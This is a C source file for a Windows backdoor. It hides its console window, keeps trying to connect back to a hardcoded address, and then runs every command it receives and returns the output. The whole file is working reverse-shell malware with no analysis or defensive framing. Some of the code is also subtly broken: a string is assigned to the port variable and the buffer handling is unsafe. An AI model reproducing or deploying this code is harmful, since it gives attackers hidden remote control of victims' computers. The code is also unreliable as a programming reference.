main.c

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winsock2.h>
#include <winuser.h>
#include <wininet.h>
#include <windowsx.h>
#include <unistd.h>
#include<sys/stat.h>
#include<sys/types.h>
#include<string.h>
#define make_zero(val,size) (void) memset((val),0,(size))
//entry point fun for win api
int sock;

void spwan_shell()
{
    char chunk_buffer[1024];
    char container[1024];
    char res[20000];
    while(69)
    {
        start:
        make_zero(chunk_buffer,sizeof(chunk_buffer));
        make_zero(container,sizeof(container));
        make_zero(res,sizeof(res));
        recv(sock,chunk_buffer,1024,0);
        if(strcmp("q",chunk_buffer)==0)
        {
            closesocket(sock);
            WSACleanup();
            exit(0);
        }
        else
        {
            FILE *ptr;
            ptr=_popen(chunk_buffer,"r");
            while(fgets(container,1024,ptr)!=NULL)
            {
                strcat(res,container);
            }
            send(sock,res,sizeof(res),0);
            fclose(ptr);
        }


    }
}
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrev,LPSTR cmdline_call,int cmdShow)
{
    HWND handler;
    WSADATA socket_info;
    AllocConsole();
    handler=FindWindowA("ConsoleWindowClass",NULL);
    ShowWindow(handler,0);
    // passing 0 enables the visibility of our console
    unsigned short port;
    struct sockaddr_in ServAddr;
    char *ip;
    ip="192.168.43.163";
    port="6969";
    if(WSAStartup(MAKEWORD(2,0),&socket_info)!=0)
    {
        exit(1);
    }
    // ipv4 we take af_inet
    sock=socket(AF_INET,SOCK_STREAM,0);

    memset(&ServAddr,0,sizeof(ServAddr));
    ServAddr.sin_family=AF_INET;
    ServAddr.sin_addr.s_addr=inet_addr(ip);
    ServAddr.sin_port=htons(port);
    top:
    while(connect(sock,(struct sockaddr *)&ServAddr,sizeof(ServAddr))!=0)
    {

        Sleep(5);
        goto top;
    }
    spwan_shell();
}